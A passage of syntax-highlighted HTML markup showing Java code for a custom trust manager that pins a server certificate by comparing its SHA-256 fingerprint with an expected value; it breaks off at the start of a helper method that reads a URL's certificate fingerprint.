\u003c/span\u003e\u003cspan class=\"nd\"\u003e@Override\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003echeckClientTrusted\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eX509Certificate\u003c/span\u003e\u003cspan class=\"o\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echain\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eauthType\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"c1\"\u003e// Not used for client certificates in this example\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"nd\"\u003e@Override\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003echeckServerTrusted\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eX509Certificate\u003c/span\u003e\u003cspan class=\"o\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echain\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eauthType\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                \u003c/span\u003e\u003cspan class=\"kd\"\u003ethrows\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejava\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003esecurity\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ecert\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eCertificateException\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003echain\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e||\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echain\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003elength\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e==\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                \u003c/span\u003e\u003cspan class=\"k\"\u003ethrow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejava\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003esecurity\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ecert\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eCertificateException\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Certificate chain is empty\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"c1\"\u003e// Get the server certificate (first in chain)\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"n\"\u003eX509Certificate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eserverCert\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003echain\u003c/span\u003e\u003cspan class=\"o\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003e0\u003c/span\u003e\u003cspan class=\"o\"\u003e]\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"k\"\u003etry\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                \u003c/span\u003e\u003cspan class=\"c1\"\u003e// Calculate SHA-256 fingerprint of the certificate\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                \u003c/span\u003e\u003cspan class=\"n\"\u003eMessageDigest\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emd\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eMessageDigest\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003egetInstance\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;SHA-256\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                \u003c/span\u003e\u003cspan class=\"kt\"\u003ebyte\u003c/span\u003e\u003cspan class=\"o\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecertBytes\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eserverCert\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003egetEncoded\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                \u003c/span\u003e\u003cspan class=\"kt\"\u003ebyte\u003c/span\u003e\u003cspan class=\"o\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003efingerprint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003emd\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003edigest\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecertBytes\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                \u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecertFingerprint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eBase64\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003egetEncoder\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"na\"\u003eencodeToString\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003efingerprint\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                \u003c/span\u003e\u003cspan class=\"n\"\u003eSystem\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eprintln\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Server certificate fingerprint: \u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecertFingerprint\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                \u003c/span\u003e\u003cspan class=\"n\"\u003eSystem\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eprintln\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Expected fingerprint: \u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEXPECTED_CERT_SHA256\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                \u003c/span\u003e\u003cspan class=\"c1\"\u003e// Check if the certificate matches our pinned certificate\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003eEXPECTED_CERT_SHA256\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eequals\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecertFingerprint\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                    \u003c/span\u003e\u003cspan class=\"k\"\u003ethrow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejava\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003esecurity\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ecert\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eCertificateException\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Certificate pinning failed! \u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                            \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Expected: \u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eEXPECTED_CERT_SHA256\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                            \u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;, Got: \u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ecertFingerprint\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                \u003c/span\u003e\u003cspan class=\"n\"\u003eSystem\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eout\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eprintln\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Certificate pinning validation passed!\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ecatch\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eException\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e                \u003c/span\u003e\u003cspan class=\"k\"\u003ethrow\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejava\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003esecurity\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003ecert\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003eCertificateException\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;Error validating certificate: \u0026#34;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"na\"\u003egetMessage\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"nd\"\u003e@Override\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eX509Certificate\u003c/span\u003e\u003cspan class=\"o\"\u003e[]\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003egetAcceptedIssuers\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e            \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eX509Certificate\u003c/span\u003e\u003cspan class=\"o\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003e0\u003c/span\u003e\u003cspan class=\"o\"\u003e]\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"c1\"\u003e// Utility method to get certificate fingerprint for a given URL\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"c1\"\u003e// Run this first to get the actual certificate fingerprint\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e    \u003c/span\u003e\u003cspan class=\"kd\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"nf\"\u003egetCertificateFingerprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eString\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eurlString\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kd\"\u003ethrows\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eException\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003eURL\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eURL\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eurlString\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"w\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"w\"\u003e        \u003c/span\u003e\u003cspan class=\"n\"\u003eHttpsURLConnection\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003econnection\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eHttpsURLConnection\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eurl\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan 